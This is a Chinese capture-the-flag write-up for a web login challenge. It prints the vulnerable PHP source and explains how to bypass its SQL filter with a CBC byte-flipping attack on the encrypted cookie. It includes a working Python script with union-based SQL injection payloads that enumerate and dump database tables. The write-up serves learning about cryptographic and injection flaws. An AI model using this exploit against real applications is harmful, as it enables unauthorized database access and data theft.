简单的登录题 Writeup

题目链接: http://www.shiyanbar.com/ctf/2037

点击题目链接,进去是这个鬼样子:

如果遵循题嘱输入 id 来 login,检查下 cookie:

可以看到里面有 cipher 和 iv,也就是密文和初始向量。因为笔者最近在看 Apache Shiro 的 RCE 漏洞,感觉此处略熟悉。 Apache Shiro 的 RCE 漏洞 中 rememberMe 模块使用了 AES CBC mode,此处我们还不知道是什么加密。

cookie中,没有什么其他有价值的信息。就把思路转到框上来。试着输入 admin 试试,跟刚刚完全一样,没啥信息。

注:如果出现:Undeclared variable: admin 这种信息,可以清理 cookie 中 cipher、iv 这两条即可。不必清理浏览器缓存。

0x01 注入带来新的生机

在过程中遇到了一个 burp的小插曲

咳咳,言归正传,那么抓个 post 包试试。

准备抓这个框的 post 包:

发到 burp repeater:

经典的 11'进行响应包对比:

咳咳,虽然没注入漏洞,但是我们意外发现在响应包里面有一个 tips 字段,提示一个 test.php 文件。

0x02 柳暗花明之源码分析

于是就去看看:

这么乱还是看源码吧:

附完整源码:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
define("SECRET_KEY", '***********');
define("METHOD", "aes-128-cbc");
error_reporting(0);
include('conn.php');
function sqliCheck($str){
if(preg_match("/\\\|,|-|#|=|~|union|like|procedure/i",$str)){
return 1;
}
return 0;
}
function get_random_iv(){
$random_iv='';
for($i=0;$i<16;$i++){
$random_iv.=chr(rand(1,255));
}
return $random_iv;
}
function login($info){
$iv = get_random_iv();
$plain = serialize($info);
$cipher = openssl_encrypt($plain, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv);
setcookie("iv", base64_encode($iv));
setcookie("cipher", base64_encode($cipher));
}
function show_homepage(){
global $link;
if(isset($_COOKIE['cipher']) && isset($_COOKIE['iv'])){
$cipher = base64_decode($_COOKIE['cipher']);
$iv = base64_decode($_COOKIE["iv"]);
if($plain = openssl_decrypt($cipher, METHOD, SECRET_KEY, OPENSSL_RAW_DATA, $iv)){
$info = unserialize($plain) or die("<p>base64_decode('".base64_encode($plain)."') can't unserialize</p>");
$sql="select * from users limit ".$info['id'].",0";
$result=mysqli_query($link,$sql);

if(mysqli_num_rows($result)>0 or die(mysqli_error($link))){
$rows=mysqli_fetch_array($result);
echo '<h1><center>Hello!'.$rows['username'].'</center></h1>';
}
else{
echo '<h1><center>Hello!</center></h1>';
}
}else{
die("ERROR!");
}
}
}
if(isset($_POST['id'])){
$id = (string)$_POST['id'];
if(sqliCheck($id))
die("<h1 style='color:red'><center>sql inject detected!</center></h1>");
$info = array('id'=>$id);
login($info);
echo '<h1><center>Hello!</center></h1>';
}else{
if(isset($_COOKIE["iv"])&&isset($_COOKIE['cipher'])){
show_homepage();
}else{
echo '<body class="login-body" style="margin:0 auto">
<div id="wrapper" style="margin:0 auto;width:800px;">
<form name="login-form" class="login-form" action="" method="post">
<div class="header">
<h1>Login Form</h1>
<span>input id to login</span>
</div>
<div class="content">
<input name="id" type="text" class="input id" value="id" onfocus="this.value=\'\'" />
</div>
<div class="footer">
<p><input type="submit" name="submit" value="Login" class="button" /></p>
</div>
</form>
</div>
</body>';
}
}

把源码保存到本地分析,发现几个关键点:

  1. 从代码第2行看出,加密方式的确是 AES-128,mode 是 CBC。
  2. iv是一个 16 byte 的随机数。
  3. cipher 和 iv 经过了 base64 加密之后作为 cookie。
  4. 代码是用 PHP 写的,第5行 include('conn.php');

整个代码实现的流程为:

  1. 定义秘钥

  2. 定义方法

  3. 进行 sqli 的字符串检查,对一些手注常用符号、字符过滤

  4. 定义随机 iv 生成算法

  5. 登入的时候:第一步:生成随机 iv,第二部步序列化 $info 变量,第三步生成密文,第四五步设置 cookie.

  6. show_homepage()方法,如果已经有 cipher 和 iv 的 cookie,对其进行base64解码,对生成的 plain变量进行反序列化。拼接 id 进行sql查询,返回 sql查询结果。

如果post包传上来了id,进行sql字符串检查,进行报错。如果没有报错就打印hello在屏幕上,然后如果post包没有传id,就显示Form。

根据程序流程分析,我们的目标是实现sql注入,拿到数据库的内容应该就可以获取到Flag了。目前的sql语句为(源码第33行):

1
$sql="select * from users limit ".$info['id'].",0";

根据sql语句,可以开看到,这条语句永远都返回的0条记录,除非能够进行注入,将后面的,0注释掉,才能够获取到数据,如使用语句1,100#

由于过滤了#,用 -- 进行尝试,也不行:

尝试用%00,用Burp Repeater尝试,将id=1 %00,post提交:

没有过滤,现在的一种思路是:注意到上面的 show_homepage()方法,提到:

show_homepage()方法,如果已经有 cipher 和 iv 的 cookie,对其进行base64解码,对生成的 plain变量进行反序列化。拼接 id 进行sql查询,返回 sql查询结果。

所以想要构造一种思路:

  1. 先用id =1然后00截断的数据库查询语句,寻求返回的 iv, cipher值。

  2. 然后用返回的iv、cipher值,作为第二次的cookie,然后去掉id=(这样做的原因是因为源代码如果id参数不存在,则获取到cookie里的各种值作为查询的参数,而cookie内的值为上一次的查询值),再次post。这样程序走的就是 show_homepage()方法进行数据库查询。

试一下:

这结果一方面说明我的查询语句有问题,另一方面说明的确存在注入。

检查发现第一步sql语句写错了,修改再次进行上面两步:

看到相应包返回了Hello!rootzz,或许这就是传说中的flag,赶快去试一下:

但是很遗憾不对。

0x03 CBC 翻转攻击

仔细分析源代码的逻辑,发现有个漏洞,虽然第一次提交id时,做了过滤,但是第二次提交iv和cipher值,是不会做过滤的。使用cbc翻转一个字节进行攻击(发送一个可以绕过字符过滤的id值,然后通过cbc翻转攻击将一部分需要改变的字符修改为我们想要的,达到sql注入目的)。具体如下:

验证

  1. 提交能经过过滤检测的SQL语句,如id=12。

  2. 结合得到的iv、cipher,用cbc字节翻转cipher对应id=12中2的字节,得到cipher_new,提交iv、cipher_new。

  3. 第二次提交得到plain(如果忘了是啥可以往回看)。

  4. 把iv、plain、‘id=12’序列第一行(16个字节为一行),进行异或操作,得到iv_new。

  5. 把iv_new、cipher_new,去掉id=xx post到服务器即可得到 id=1# 的结果,即Hello!rootzz。

使用脚本进行攻击

  1. 上一步成功达到偷梁换日的做法,下一步就是把id=12换成我们熟悉的SQL注入语句,在这里要注意的是:注释还是用%00,=用regexp代替,逗号用join代替,union用2nion代替,然后用cbc字节转换,把2换成u。值得注意的是cbc字节转换时的偏移量,最好自己写个php代码算一下前一行相应的位置。这里我们使用脚本:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
#!/usr/bin/env python2
#-*- coding: utf-8 -*-
"""
@Author : darkN0te
@Create date : 2018-07-07
@description : 凯撒轮转密码解密
@Update date :
"""
from base64 import *
import urllib
import requests
import re

def denglu(payload,idx,c1,c2):
url=r'http://ctf5.shiyanbar.com/web/jiandan/index.php'
payload = {'id': payload}
r = requests.post(url, data=payload)
Set_Cookie=r.headers['Set-Cookie']
iv=re.findall(r"iv=(.*?),", Set_Cookie)[0]
cipher=re.findall(r"cipher=(.*)", Set_Cookie)[0]
iv_raw = b64decode(urllib.unquote(iv))
cipher_raw=b64decode(urllib.unquote(cipher))
lst=list(cipher_raw)
lst[idx]=chr(ord(lst[idx])^ord(c1)^ord(c2))
cipher_new=''.join(lst)
cipher_new=urllib.quote(b64encode(cipher_new))
cookie_new={'iv': iv,'cipher':cipher_new}
r = requests.post(url, cookies=cookie_new)
cont=r.content
plain = re.findall(r"base64_decode\('(.*?)'\)", cont)[0]
plain = b64decode(plain)
first='a:1:{s:2:"id";s:'
iv_new=''
for i in range(16):
iv_new += chr(ord(first[i])^ord(plain[i])^ord(iv_raw[i]))
iv_new = urllib.quote(b64encode(iv_new))
cookie_new = {'iv': iv_new, 'cipher': cipher_new}
r = requests.post(url, cookies=cookie_new)
rcont = r.content
print rcont

denglu('12',4,'2','#')
denglu('0 2nion select * from((select 1)a join (select 2)b join (select 3)c);'+chr(0),6,'2','u')
denglu('0 2nion select * from((select 1)a join (select group_concat(table_name) from information_schema.tables where table_schema regexp database())b join (select 3)c);'+chr(0),7,'2','u')
denglu("0 2nion select * from((select 1)a join (select group_concat(column_name) from information_schema.columns where table_name regexp 'you_want')b join (select 3)c);"+chr(0),7,'2','u')
denglu("0 2nion select * from((select 1)a join (select * from you_want)b join (select 3)c);"+chr(0),6,'2','u')

友情提示:这里不能随便 2to3,不然会有问题的。

跑一下:

虽然因为偷懒有点小问题,但是 flag 出来了就都不是问题。

试下:

0x04 总结

这道题主要学到CBC字符翻转攻击

CBC字符翻转 原理与实战

CBC字节反转攻击原理

CBC字节翻转攻击

CBC翻转攻击,了解一下!

CBC字节翻转攻击和Padding Oracle